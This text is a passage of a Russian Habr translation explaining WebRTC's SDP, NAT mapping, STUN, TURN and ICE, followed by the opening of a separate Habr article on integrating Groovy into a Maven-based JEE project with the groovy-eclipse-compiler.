s=-
c=IN IP4 127.0.0.1
t=0 0
m=audio 4000 RTP/AVP 111
a=rtpmap:111 OPUS/48000/2
m=video 4002 RTP/AVP 96
a=rtpmap:96 VP8/90000
```
* `v`, `o`, `s`, `c` и `t` определены, но они не влияют на сессию `WebRTC`;
* у нас имеется два описания медиа. Одно с типом `audio`, другое — `video`;
* каждое описание содержит один атрибут. Он определяет детали [конвейера](https://en.wikipedia.org/wiki/Pipeline_(software)) (pipeline) `RTP`.
Как SDP и WebRTC работают вместе
--------------------------------
Следующим кусочком пазла является понимание того, как `WebRTC` использует `SDP`.
### Что такое предложения и ответы?
`WebRTC` использует модель предложение/ответ (offer/answer). Это означает, что если один агент "предлагает" начать коммуникацию, другой агент "отвечает", хочет он этого или нет.
Это позволяет отвечающему отклонить неподдерживаемые им кодеки, указанные в описаниях медиа. Таким способом пиры определяют, какими форматами данных они будут обмениваться.
### Трансиверы
Трансиверы (приемопередатчики, transceivers) — это специфическая для `WebRTC` концепция, которую вы встретите в `API`. Их основной задачей является преобразование "описания медиа" в `JavaScript API`. Каждое описание медиа становится трансивером. При каждом создании трансивера в локальное описание сессии добавляется новое описание медиа.
Каждое описание сессии в `WebRTC` имеет атрибут, определяющий направление передачи данных (direction). Это позволяет агенту объявлять такие вещи, как, например, "Я собираюсь отправить тебе этот кодек, но не хочу ничего получать в ответ". Валидными значениями направления являются:
* `send` (sendonly, sending — отправка);
* `recv` (recvonly, receiving — получение);
* `sendrecv` (отправка и получение);
* `inactive` (неактивное состояние).
### Значения SDP, используемые в WebRTC
Ниже представлен список некоторых часто встречающихся атрибутов описания сессии, используемых агентами. Многие из этих значений контролируют подсистемы, которые мы еще не обсуждали (но скоро обсудим).
**group:BUNDLE**
Сборка (bundling) — это передача нескольких типов трафика через одно соединение (часто это называют ["батчингом"](https://en.wikipedia.org/wiki/Batch_processing), batching). В некоторых реализациях `WebRTC` для каждого медиапотока выделяется отдельное соединение. Сборка является предпочтительной.
**fingerprint:sha-256**
Это [хеш](https://ru.wikipedia.org/wiki/%D0%A5%D0%B5%D1%88-%D1%81%D1%83%D0%BC%D0%BC%D0%B0) сертификата, используемого пиром для `DTLS`. После завершения рукопожатия `DTLS` мы сравниваем хеш с сертификатом для подтверждения того, что мы общаемся с тем, кого ожидаем.
**setup:**
Контролирует поведение агента `DTLS`. Определяет, чем является агент (клиентом или сервером), после установки `ICE`. Возможные значения:
* `setup:active` — запуск в качестве клиента `DTLS`;
* `setup:passive` — запуск в качестве сервера `DTLS`;
* `setup:actpass` — просим другого агента `WebRTC` сделать выбор.
**ice-ufrag**
Значение фрагмента пользователя (user fragment) для агента `ICE`. Используется для аутентификации трафика `ICE`.
**ice-pwd**
Пароль для агента `ICE`. Используется для аутентификации трафика `ICE`.
**rtpmap**
Используется для определения связи между конкретным кодеком и типом полезной нагрузки `RTP`. Типы полезной нагрузки являются динамическими, поэтому для каждого вызова его инициатор выбирает типы полезной нагрузки для каждого кодека.
**fmtp**
Определяет дополнительные значения типа полезной нагрузки. Может использоваться для настройки профиля видео или кодировки.
**candidate**
Кандидат `ICE`, полученный от агента `ICE`. Один из адресов, по которым доступен агент `WebRTC`.
**ssrc**
Определяет конкретный трек медиапотока (media stream track).
`label` — это идентификатор потока. `mslabel` — идентификатор контейнера, который может содержать несколько потоков.
### Пример описания сессии
Полное описание сессии, генерируемое клиентом `WebRTC`:
```
v=0
o=- 3546004397921447048 1596742744 IN IP4 0.0.0.0
s=-
t=0 0
a=fingerprint:sha-256 0F:74:31:25:CB:A2:13:EC:28:6F:6D:2C:61:FF:5D:C2:BC:B9:DB:3D:98:14:8D:1A:BB:EA:33:0C:A4:60:A8:8E
a=group:BUNDLE 0 1
m=audio 9 UDP/TLS/RTP/SAVPF 111
c=IN IP4 0.0.0.0
a=setup:active
a=mid:0
a=ice-ufrag:CsxzEWmoKpJyscFj
a=ice-pwd:mktpbhgREmjEwUFSIJyPINPUhgDqJlSd
a=rtcp-mux
a=rtcp-rsize
a=rtpmap:111 opus/48000/2
a=fmtp:111 minptime=10;useinbandfec=1
a=ssrc:350842737 cname:yvKPspsHcYcwGFTw
a=ssrc:350842737 msid:yvKPspsHcYcwGFTw DfQnKjQQuwceLFdV
a=ssrc:350842737 mslabel:yvKPspsHcYcwGFTw
a=ssrc:350842737 label:DfQnKjQQuwceLFdV
a=msid:yvKPspsHcYcwGFTw DfQnKjQQuwceLFdV
a=sendrecv
a=candidate:foundation 1 udp 2130706431 192.168.1.1 53165 typ host generation 0
a=candidate:foundation 2 udp 2130706431 192.168.1.1 53165 typ host generation 0
a=candidate:foundation 1 udp 1694498815 1.2.3.4 57336 typ srflx raddr 0.0.0.0 rport 57336 generation 0
a=candidate:foundation 2 udp 1694498815 1.2.3.4 57336 typ srflx raddr 0.0.0.0 rport 57336 generation 0
a=end-of-candidates
m=video 9 UDP/TLS/RTP/SAVPF 96
c=IN IP4 0.0.0.0
a=setup:active
a=mid:1
a=ice-ufrag:CsxzEWmoKpJyscFj
a=ice-pwd:mktpbhgREmjEwUFSIJyPINPUhgDqJlSd
a=rtcp-mux
a=rtcp-rsize
a=rtpmap:96 VP8/90000
a=ssrc:2180035812 cname:XHbOTNRFnLtesHwJ
a=ssrc:2180035812 msid:XHbOTNRFnLtesHwJ JgtwEhBWNEiOnhuW
a=ssrc:2180035812 mslabel:XHbOTNRFnLtesHwJ
a=ssrc:2180035812 label:JgtwEhBWNEiOnhuW
a=msid:XHbOTNRFnLtesHwJ JgtwEhBWNEiOnhuW
a=sendrecv
```
Вот что мы должны понять из этого сообщения:
* у нас имеется два медиараздела: один для аудио и один для видео;
* оба являются трансиверами `sendrecv`. Мы получаем два потока и можем отправить два потока в ответ;
* у нас имеются кандидаты `ICE` и детали аутентификации, что позволяет предпринять попытку установить соединение;
* у нас имеется отпечаток сертификата, что позволяет сделать звонок безопасным.
Подключение
===========
Большинство разрабатываемых сегодня приложений реализует клиент-серверную архитектуру подключения. Такая архитектура предполагает наличие сервера с известным и стабильным транспортным адресом (transport address) (`IP` и порт). Клиент отправляет запрос, а сервер на него отвечает.
В `WebRTC` используется другая архитектура — одноранговая сеть (Peer-to-Peer, P2P). В такой сети задача установки соединения распределяется между пирами. Это обусловлено тем, что транспортный адрес не может быть определен заранее, и может меняться в течение сессии (session). `WebRTC` собирает всю доступную информацию и делает многое для обеспечения возможности двунаправленной коммуникации (bi-directional communication) между агентами.
Установка такого соединения — задача не из простых. Агенты могут находиться в разных сетях, т.е. не иметь прямого соединения. И даже если оно есть, могут быть другие проблемы. Например, клиенты могут использовать разные протоколы (`UPD` <-> `TCP`) или разные версии `IP` (`IPv4` <-> `IPv6`).
Несмотря на это, `WebRTC` предоставляет некоторые преимущества по сравнению с клиент-серверной архитектурой.
**Уменьшение размера передаваемых данных**
Поскольку обмен данными между агентами осуществляется напрямую, нам не нужно "платить" за сервер, предназначенный для ретрансляции (перенаправления) этих данных.
**Снижение задержки**
Прямая коммуникация является более быстрой. Когда пользователь вынужден отправлять данные через сервер, ретрансляция увеличивает задержку.
**Повышение безопасности**
Прямая коммуникация является более безопасной. Поскольку сервер не участвует в передаче данных, пользователи могут быть уверены, что данные не будут расшифрованы, пока не достигнут адресата.
Как это работает?
-----------------
Описанный выше процесс называется [установкой интерактивного соединения](https://datatracker.ietf.org/doc/html/rfc8445) (Interactive Connectivity Establishment, ICE).
`ICE` — это протокол, который пытается определить наилучший способ для установки соединения между двумя агентами. Каждый агент публикует (publishes) путь, по которому он может быть достигнут (reachable). Такие пути называются кандидатами (candidates). По сути, кандидат — это транспортный адрес, который один агент считает достижимым для другого агента. Затем `ICE` определяет наиболее подходящую пару кандидатов.
Для того, чтобы убедиться в необходимости `ICE`, нужно понимать, какие трудности нам приходится преодолевать на пути установки интерактивного соединения.
Ограничения реального мира
--------------------------
Основное назначение `ICE` — преодоление ограничений, накладываемых на подключение реальным миром. Кратко обсудим эти ограничения.
### Разные сети
В большинстве случаев второй агент будет находиться в другой сети. Как правило, соединение устанавливается между агентами, находящимися в разных сетях.
Ниже представлен граф двух независимых сетей, соединенных вместе через публичный Интернет. В каждой сети у нас имеется два хоста.
Для хостов, находящихся в одной сети, установка соединения — простая задача. Коммуникацию между `192.168.0.1 -> 192.168.0.2` легко организовать. Такие хосты могут общаться друг с другом без посторонней помощи.
Однако, хост, использующий `Router B`, не имеет возможности общаться с хостами, использующими `Router A`. Как определить разницу между `192.168.0.1` из `Router A` и таким же `IP` из `Router B`? Эти `IP` являются частными (закрытыми для внешнего мира, private)! Хост из `Router B` может отправлять данные в `Router A`, но запрос завершится ничем. Как `Router A` определить, какому хосту следует передавать сообщение?
### Ограничения протоколов
В одних сетях запрещена передача трафика по `UDP`, в других — по `TCP`. Некоторые сети могут иметь очень низкую [максимальную единицу передачи данных](https://ru.wikipedia.org/wiki/Maximum_transmission_unit) (Maximum Transmission Unit, MTU). Существует большое количество настроек сетей, которые могут сделать коммуникацию по меньшей мере затруднительной.
### Правила межсетевых экранов
Еще одной проблемой является "глубокая проверка пакетов" ("Deep Packet Inspection") и другая фильтрация сетевого трафика. Некоторые сетевые администраторы применяют такое программное обеспечение в отношении каждого пакета. Во многих случаях это ПО не понимает `WebRTC`, считает пакеты `WebRTC` подозрительными пакетами `UDP`, передаваемыми по порту, не входящему в [белый список](https://en.wikipedia.org/wiki/Whitelisting) (whitelist).
Отображение NAT
---------------
Отображение результата [преобразования сетевых адресов](https://ru.wikipedia.org/wiki/NAT) (Network Address Translation, NAT) (NAT Mapping) — это магия, которая делает подключение `WebRTC` возможным. Это то, благодаря чему два пира из разных сетей могут общаться друг с другом. Рассмотрим, как работает отображение `NAT`.
`NAT` не использует ретранслятор, прокси или сервер. У нас есть `Agent 1` и `Agent 2`, которые находятся в разных сетях. Несмотря на это, они могут обмениваться данными. Вот как это выглядит:
Для обеспечения возможности подобной коммуникации мы прибегаем к помощи отображения `NAT`. `Agent 1` использует порт `7000` для установки соединения `WebRTC` с `Agent 2`. `192.168.0.1:7000` привязывается (bind) к `5.0.0.1:7000`. Это позволяет `Agent 2` "достигать" `Agent 1`, отправляя пакеты по адресу `5.0.0.1:7000`. Создание отображения `NAT` похоже на автоматическую версию переадресации портов (port forwarding) в роутере.
Обратной стороной `NAT` является то, что не существует единой формы отображения (например, статической переадресации портов), в разных сетях поведение может быть различным. Интернет-провайдеры и производители аппаратного обеспечения могут делать это по-разному. В некоторых случаях сетевые администраторы вообще могут его отключить.
Хорошей новостью является то, что все эти особенности мониторятся и учитываются, что позволяет агенту `ICE` создавать отображение `NAT` и его атрибуты.
Документом, описывающим данный процесс, является [RFC 4787](https://datatracker.ietf.org/doc/html/rfc4787).
### Создание отображения NAT
Создание отображения — самая легкая часть. Отображение создается, когда мы отправляем пакет по адресу, находящемуся за пределами нашей сети. Отображение `NAT` — это просто временные публичные `IP` и порт, занимаемый нашим `NAT`. Исходящие сообщения переписываются таким образом, что адресом их источника (source address) становится созданное отображение. При отправке сообщения в отображение, оно автоматически перенаправляется в хост внутри создавшего его `NAT`. И этот процесс становится сложным, когда речь заходит о деталях создания отображения.
### Варианты создания отображения NAT
Создание отображение делится на три категории.
**Автономное (не зависящее от конечной точки, endpoint-independent) отображение**
Для каждого отправителя внутри `NAT` создается отдельное отображение. Если мы отправляем два пакета по двум удаленным адресам, для обоих пакетов используется одно и тоже отображение. Оба удаленных хоста будут видеть один и тот же `IP` и порт источника. При получении ответов от хостов, они передаются в один и тот же локальный обработчик (local listener).
Это лучший сценарий. Для осуществления звонка необходимо, чтобы хотя бы одна сторона была такого типа.
**Зависящее от адреса (address dependent) отображение**
Новое отображение создается при отправке пакета по новому адресу. Если мы отправляем два пакета в два разных хоста, создается два отображения. Если мы отправляем два пакета в один удаленный хост, но разные порты, создается ОДНО отображение.
**Зависящее от адреса и порта отображение**
Новое отображение создается, если отличаются удаленный `IP` или порт. Если мы отправляем два пакета в один удаленный хост, но в разные порты, создается два отображения.
### Варианты фильтрации отображения NAT
Фильтрация отображения — это правила, определяющие, кто может использовать отображение. Существует три возможных варианта:
**Автономная фильтрация**
Отображение может использовать кто угодно. Мы можем делиться им с другими пирами, и они смогут отправлять в него трафик.
**Зависящая от адреса фильтрация**
Отображение может использовать только создавший его хост. Если мы отправляем пакет в хост `A`, он может отправить в ответ любое количество пакетов. Если хост `B` отправит пакет в это отображение, данный пакет будет игнорироваться (will be ignored).
**Зависящая от адреса и порта фильтрация**
Отображение может использоваться только создавшим его хостом и портом. Если мы отправляем пакет в хост `A:5000`, он может ответить любым количеством пакетов. Пакет, отправленный хостом `A:5001`, будет игнорироваться.
### Обновление отображения NAT
Рекомендуется уничтожать (destroy) отображение, которое не используется в течение пяти минут, но это зависит от Интернет-провайдеров и производителей "железа".
STUN
----
[Утилиты прохождения сессий для NAT](https://ru.wikipedia.org/wiki/STUN) (Session Traversal Utilities for NAT, STUN) — это протокол, предназначенный для работы с `NAT`. Он определен в [RFC 8489](https://tools.ietf.org/html/rfc8489), в котором также определяется структура пакетов `STUN`. Протокол `STUN` также используется `ICE/TURN`.
`STUN` позволяет программно создавать отображения `NAT`. До `STUN` мы могли создавать отображения, но не могли получать информацию о созданных `IP` и портах. `STUN` не только позволяет создавать отображения, он также предоставляет информацию, которой можно поделиться с другими для того, чтобы они могли передавать данные в отображение.
Начнем с базового описания `STUN`. Позже мы рассмотрим, как `STUN` используется в `ICE` и `TURN`. Рассмотрим процесс запрос/ответ (request/response) для создания отображения, а также поговорим о том, как получить информацию об `IP` и портах. Данный процесс происходит, когда у нас есть сервер `stun:` в путях (urls) `ICE` для `WebRTC PeerConnection` (например, `new RTCPeerConnection({ iceServers: [{ urls: ['stun:stun.l.google.com:19302'] }] })`). `STUN` помогает конечной точке, находящейся за `NAT`, получить детали о созданном отображении, путем отправки запроса к серверу `STUN` о предоставлении информации о том, что он видит извне (observes).
### Структура протокола
Каждый пакет `STUN` имеет следующую структуру:
```
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|0 0| STUN Message Type | Message Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Magic Cookie |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
| Transaction ID (96 bits) |
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```
**STUN Message Type**
Тип пакета. В данный момент нас интересует следующее:
* запрос на привязку или связывание (Binding Request) — `0x0001`;
* ответ на привязку (Binding Response) — `0x0101`.
Для создания отображения `NAT` мы выполняем `Binding Request`. Сервер отправляет нам `Binding Response`.
**Message Length**
Длина раздела `Data` (размер данных). Этот раздел содержит данные, определенные в `Message Type`.
**Magic Cookie**
Фиксированное значение `0x2112A442` в сетевом порядке байтов (network byte order). Это помогает отличать `STUN` от других протоколов.
**Transaction ID**
96-битный идентификатор, уникально определяющий запрос/ответ. Это помогает определять пары запросов и ответов.
**Data**
Данные содержат список атрибутов `STUN`. Атрибут `STUN` имеет следующую структуру:
```
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Value (variable) ....
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```
`STUN Binding Request` не использует атрибуты. Это означает, что в запросе содержится только заголовок (header).
`STUN Binding Response` использует `XOR-MAPPED-ADDRESS (0x0020)`. Данный атрибут содержит `IP` и порт из отображения `NAT`.
### Создание отображения NAT
"Цена" создания отображения `NAT` с помощью `STUN` — один запрос. Мы отправляем `Binding Request` серверу `STUN`. Он возвращает нам `Binding Response`. `Binding Response` содержит `Mapped Address`. `Mapped Address` — то, как сервер `STUN` видит отображение `NAT`. `Mapped Address` — то, что может использоваться другой стороной для отправки данных в наш адрес.
`Mapped Address` — это наш `Public IP` (публичный адрес) или `Server Reflexive Candidate` в терминологии `WebRTC`.
### Определение типа NAT
К сожалению, `Mapped Address` может использоваться не во всех случаях. Если `NAT` является зависящим от адреса, мы можем получать данные только от сервера `STUN`. В этом случае сообщения, отправленные другой стороной в `Mapped Address`, будут потеряны (will be dropped). Это делает `Mapped Address` бесполезным. И проблема эта решается тем, что сервер `STUN` перенаправляет пакеты к пиру. Такое решение называется `TURN`.
[RFC 5780](https://tools.ietf.org/html/rfc5780) описывает метод для определения типа `NAT`. Это позволяет заранее определить возможность установки прямого соединения.
TURN
----
[Отображение NAT с помощью ретрансляторов](https://ru.wikipedia.org/wiki/Traversal_Using_Relay_NAT) (Traversal Using Relays around NAT, TURN), определенный в [RFC 8656](https://datatracker.ietf.org/doc/html/rfc8656), это решение проблемы отсутствия возможности прямого соединения. Такое может произойти при несовместимости типов `NAT` или использовании разных протоколов агентами. `TURN` также может использоваться для обеспечения конфиденциальности. Создавая коммуникацию с помощью `TURN`, мы обфусцируем (скрываем) настоящие адреса клиентов.
`TURN` использует выделенный сервер. Этот сервер является прокси для клиента. Клиент подключается к серверу `TURN` и создает `Allocation` (размещение). Ему выделяется временный `IP`/порт/протокол, который может использоваться для передачи данных. Данный обработчик называется `Relayed Transport Address`. Это своего рода адрес переадресации (forwarding address), который может использоваться другой стороной для передачи трафика через `TURN`. Для каждого пира создается отдельный `Relayed Transport Address`, что требует предоставления `Permission` (разрешения) на коммуникацию.
При передаче трафика через `TURN`, он передается через `Relayed Transport Address`. При получении трафика удаленным пиром, он видит, что трафик пришел от `TURN`.
### Жизненный цикл TURN
Поговорим о том, что должен сделать клиент, который хочет создать размещение в `TURN`. Коммуникация с тем, кто использует `TURN`, не требует совершения дополнительных действий. Другой пир просто получает `IP` и порт, которые могут использоваться для передачи данных.
**Размещения**
Размещения — ядро `TURN`. `Allocation` — "сессия `TURN`". Для создания размещения в `TURN` мы обращаемся к `Server Transport Address` сервер `TURN` (портом по умолчанию является `3478`).
При создании размещения серверу необходимо предоставить следующую информацию:
* имя пользователя/пароль — создание размещения требует аутентификации;
* транспорт, используемый размещением — транспортный протокол между сервером (`Server Transport Address`) и пирами: `UDP` или `TCP`;
* `Even-Port` — мы можем запрашивать последовательность портов для нескольких размещений, не относящихся к `WebRTC`.
При успешном запросе мы получаем от сервера `TURN` ответ со следующими атрибутами в разделе `Data`:
* `XOR-MAPPED-ADDRESS` — `Mapped Address` клиента `TURN` (TURN Client). При отправке данных в `Relayed Transport Address`, они перенаправляются в этот адрес;
* `RELAYED-ADDRESS` — адрес, передаваемый другим клиентам. При отправке пакета по этому адресу, он передается клиенту `TURN`;
* `LIFETIME` — сколько времени осталось до уничтожения размещения `TURN`. Время жизни размещения может быть увеличено через отправку запроса `Refresh`.
**Разрешения**
Удаленный хост не может отправлять данные в наш `Relayed Transport Address` до тех пор, пока мы не предоставим ему разрешение. При создании разрешения мы говорим серверу `TURN`, что указанным `IP` и порту разрешен входящий трафик.
Удаленный хост должен предоставить нам `IP` и порт в том виде, в каком они отображаются на сервере `TURN`. Это означает, что он должен отправить `STUN Binding Request`. Распространенной ошибкой является отправка такого запроса не тому серверу `TURN`. После отправки запроса удаленный хост обращается к нам с просьбой о предоставлении разрешения.
Предположим, что мы хотим создать разрешение для хоста, находящегося за `Address Dependent Mapping`. Если мы получим `Mapped Address` от другого сервера `TURN`, весь входящий трафик будет потерян. При каждом взаимодействии с другим хостом создается новое отображение. Время жизни разрешения составляет 5 минут.
**SendIndication/ChannelData**
Эти сообщения предназначены для клиента `TURN` для отправки сообщений удаленному пиру.
`SendIndication` — самодостаточное сообщение. Внутри него находятся данные для отправки, а также адресат. Отправка большого количества сообщений удаленному пиру является расточительной. При отправке 1000 сообщений `IP` адрес удаленного пира будет повторен 1000 раз!
`ChannelData` позволяет отправлять данные без дублирования `IP-адреса`. Мы создаем канал (channel) с `IP` и портом. При отправке сообщения в нем указывается `ChannelId`, а `IP` и порт заполняются сервером. Это позволяет уменьшить нагрузку на сервер при отправке большого количества сообщений.
**Обновление**
Размещения уничтожаются автоматически. Для сохранения размещения его `LIFETIME` (время жизни) должно периодически обновляться.
### Использование TURN
`TURN` может использоваться в двух формах. Как правило, у нас имеется один пир, выступающий в роли "клиента `TURN`", и другой сторона, обращающаяся к "клиенту" напрямую. В некоторых случаях может потребоваться использовать `TURN` на обеих сторонах, например, по причине того, что обе стороны находятся в сетях, блокирующих `UDP`, поэтому соединение с соответствующими серверами `TURN` выполняется через `TCP`.
**Одна аллокация TURN для коммуникации**
**Две аллокации TURN для коммуникации**
ICE
---
`ICE` — то, как `WebRTC` подключает двух агентов. Этот протокол определен в [RFC 8445](https://datatracker.ietf.org/doc/html/rfc8445). `ICE` — протокол для установки соединения. Он описывает все возможные маршруты (routes) между двумя пирами и обеспечивает стабильность подключения.
Эти роуты называются `Candidate Pairs` (парами кандидатов) и представляют собой пару локального и удаленного транспортных адресов. Вот где в игру вступают `STUN` и `TURN`. Эти адреса могут быть нашими локальными `IP` и портом, отображением `NAT` или `Relayed Transport Address`. Каждая сторона собирает адреса, которые она хочет (и может) использовать, передает их другой стороне и выполняет попытку подключения.
Два агента `ICE` взаимодействуют с помощью пинг-пакетов (ping packets) `ICE` (которые формально называются проверками подключения — connectivity checks) для установки соединения. После установки соединения стороны могут обмениваться данными. Это похоже на использование обычных [веб-сокетов](https://ru.wikipedia.org/wiki/WebSocket). Все необходимые проверки выполняются с помощью протокола `STUN`.
### Создание агента ICE
Агент `ICE` может быть `Controlling` (управляющим) или `Controlled` (управляемым). Управляющий агент — это тот, который выбирает `Candidate Pair`. Как правило, пир, отправляющий предложение об установке соединения (offer), является управляющей стороной.
Каждая сторона должна иметь `user fragment` и `password`. Стороны должны обменяться этими значениями до начала проверок подключения. `user fragment` отправляется в виде обычного текста и может использоваться для демультиплексирования (demuxing) нескольких сеансов `ICE`. `password` используется для генерации атрибута `MESSAGE-INTEGRITY`. В конце каждого пакета `STUN` имеется атрибут с [хешем](https://ru.wikipedia.org/wiki/%D0%A5%D0%B5%D1%88-%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F) содержимого пакета — `password` используется в качестве ключа. Это позволяет аутентифицировать пакет, т.е. убедиться в том, что он не был подменен или модифицирован в процессе передачи.
В случае с `WebRTC` эти значения передаются через `Session Description` (описание сессии), о котором рассказывалось в предыдущем разделе.
### Сбор кандидатов (Candidate Gathering)
Теперь нам необходимо собрать все адреса, по которым достижимы агенты. Эти адреса называются кандидатами.
**Хост**
Кандидат хоста предоставляется локальным интерфейсом. Это может быть `UDP` или `TCP`.
**mDNS**
Кандидат `mDNS` похож на кандидата хоста, но его `IP-адрес` скрывается. Вместо `IP-адреса` другой стороне предоставляется [`UUID`](https://ru.wikipedia.org/wiki/UUID) в качестве названия хоста. После этого мы настраиваем многоадресный обработчик (multicast listener), который отвечает на запросы к опубликованному `UUID`.
Если мы находимся в одной сети с агентом, мы можем найти друг друга через [мультикаст](https://ru.wikipedia.org/wiki/%D0%9C%D1%83%D0%BB%D1%8C%D1%82%D0%B8%D0%B2%D0%B5%D1%89%D0%B0%D0%BD%D0%B8%D0%B5) (multicast). Если мы и агент находимся в разных сетях, установить соединение не получится. Как минимум, до тех пор, пока администратор сети явно не разрешит такую передачу пакетов.
Это позволяет обеспечить конфиденциальность. В случае с кандидатом хоста пользователь видит наш `IP` адрес через `WebRTC` (даже не пытаясь установить соединение), но в случае с кандидатом `mDNS` он получит только случайный `UUID`.
**Server Reflexive**
Кандидат от сервера (Server Reflexive Candidate) генерируется сервером `STUN` в ответ на `STUN Binding Request`.
При получении `STUN Binding Response` содержащийся в нем `XOR-MAPPED-ADDRESS` — это наш кандидат от сервера.
**Peer Reflexive**
Кандидат от пира (Peer Reflexive Candidate) — это когда мы получаем входящий запрос от неизвестного адреса. Поскольку `ICE` — это протокол с аутентификацией, мы знаем, что трафик является валидным. Это всего лишь означает, что удаленный пир общается с нами с неизвестного адреса.
Это обычно происходит при общении `Host Candidate` с `Server Reflexive Candidate`. Поскольку мы общаемся за пределами нашей подсети, создается новое отображение `NAT`. Помните, мы говорили о том, что проверки подключения — это на самом деле пакеты `STUN`? Формат ответа `STUN` позволяет пиру вернуть адрес кандидата от пира (peer-reflexive address).
**Relay**
Релейный кандидат генерируется сервером `TURN`.
После первоначального рукопожатия (handshake) мы получаем `RELAYED-ADDRESS` — наш релейный кандидат.
### Проверки подключения
Теперь мы знаем `user fragment`, `password` и кандидатов удаленного агента. Выполняем попытку подключения! Кандидаты разбиваются попарно. Поэтому если у нас было три кандидата от каждой стороны, мы получаем девять пар кандидатов.
Вот как это выглядит:
### Выбор кандидатов
Управляющий и управляемый агенты начинают передавать трафик через каждую пару. Это требуется, когда один агент находится за `Address Dependent Mapping`, что приводит к созданию `Peer Reflexive Candidate`.
Каждая `Candidate Pair` (пара кандидатов), которая "видит" трафик, становится парой `Valid Candidate` (валидных кандидатов). Управляющий агент берет одного `Valid Candidate` и выдвигает (nominate) его. Выдвинутые сторонами кандидаты становятся `Nominated Pair` (номинированной парой). Агенты снова пытаются установить двунаправленную коммуникацию. При достижении успеха, `Nominated Pair` становится `Selected Candidate Pair` (выбранной или избранной парой кандидатов). Эта пара используется на протяжении оставшейся части сессии.
### Перезагрузка
Если `Selected Candidate Pair` прекращает работу по какой-либо причине (истек срок жизни отображения `NAT`, упал сервер `TURN`) агент `ICE` переходит в состояние `Failed`. Оба агента могут быть перезапущены, и процесс начнется сначала.
На этом первая часть перевода завершена.
Благодарю за внимание и happy coding!
---
[](https://cloud.timeweb.com/vds-promo-1-rub?utm_source=habr&utm_medium=banner&utm_campaign=vds-promo-1-rub) | https://habr.com/ru/post/656947/ | null | ru | null |
# Интеграция Groovy в JEE приложение
######
```
В одну телегу впрячь не можно
Коня и трепетную лань
А.С. Пушкин
```
Всем привет!
В данной заметке я хочу рассказать, как интегрировать язык Groovy в существующее JEE приложение на основе Maven. Выражаю благодарность Антону Щастному [schaan](https://habrahabr.ru/users/schaan/) за разрешение на использование исходного кода его проекта в качестве отправной точки. Поэтому данный топик можно считать продолжением его статьи [Учимся готовить: Spring 3 MVC + Spring Security + Hibernate](http://habrahabr.ru/post/111102/).
Начнем.
##### Подготовка проекта.
Я использую Eclipse в сборке SpringSource Tool Suite. Выкачиваем [проект ContactManager](http://shchastnyi.net/media/111102/contactmanager.tar.gz). Но не торопитесь его открывать в IDE. Будет даже надежнее, если вы вообще удалите все файлы проекта: .classpath .project и каталог .settings. Ибо с момента публикации статьи Антона технологии шагнули вперед, вышли новые версии STS (с другой структурой проекта и новой версией плагина m2e), поэтому мы сначала исправим pom-файл, затем на его основе STS нам создаст новый проект.
Для простоты я удалил из pom.xml зависимости от аспектов и Spring Roo. Также заменил MySQL на более привычный мне PostgreSQL (см. файл jdbc.properties). Но это все присказка, а вот и сказка: добавляем зависимость
```
org.codehaus.groovy
groovy-all
1.8.6
```
Собственно это почти все, Groovy уже интегрирован в наш проект. Осталось только разобраться с совместной компиляцией Java и Groovy.
##### groovy-eclipse-compiler
Около года мы пользовались [плагином gmaven](http://docs.codehaus.org/display/GMAVEN/Home). В работе с ним были свои «подводные камни», нет смысла уже о них вспоминать, потому что мы перешли на [groovy-eclipse-compiler](http://groovy.codehaus.org/Groovy-Eclipse+compiler+plugin+for+Maven). Редактируем pom.xml
```
org.apache.maven.plugins
maven-compiler-plugin
2.3.2
1.6
1.6
UTF-8
groovy-eclipse-compiler
org.codehaus.groovy
groovy-eclipse-compiler
2.6.0-01
```
Все, с pom.xml закончили, запускаем STS и импортируем в него проект. File -> Import -> Maven -> Existing Maven Projects. «Зараженный Groovy» проект выглядит совершенно обычно.
STS не ругается, это хорошо, но для чистоты эксперимента нужно собрать все мавеном. Выполняем
```
mvn clean package
```
и видим в логе искомое:
```
[INFO] --- maven-compiler-plugin:2.3.2:compile (default-compile) @ contactmanager ---
[INFO] Using Groovy-Eclipse compiler to compile both Java and Groovy files
```
##### Переходим на Groovy
Итак с java мы практически попрощались, дальше будем писать на Groovy. Контактов набралось уже изрядно и мы хотим эти самые контакты группировать по типам: «семья», «работа» и т.д.
Начнем с POJO, то бишь с PO**G**O.
Создадим каталог src/main/groovy, добавим его в BuildPath, создадим пакет (в нашем примере com.acme.contactmanager.domain)
На пакете кликаем правой кнопкой -> New -> Groovy class
Назовем его… скажем… ~~Полуэкт~~ ContactType и напишем его исходный код:
```
@Entity
@Table(name = "CONTACT_TYPES", uniqueConstraints = [
@UniqueConstraint(columnNames = ["code"]),
@UniqueConstraint(columnNames = ["name"])
])
class ContactType {
@Id
@GeneratedValue
Integer id
@Basic
@Column(unique = true, nullable = true)
String code
@Basic
@Column(unique = true, nullable = true)
String name
@Basic
@Column(nullable = true)
Boolean defaulttype = false
@OneToMany(fetch = FetchType.LAZY, cascade = [CascadeType.REFRESH, CascadeType.MERGE], mappedBy = "contacttype")
List contacts = null
}
```
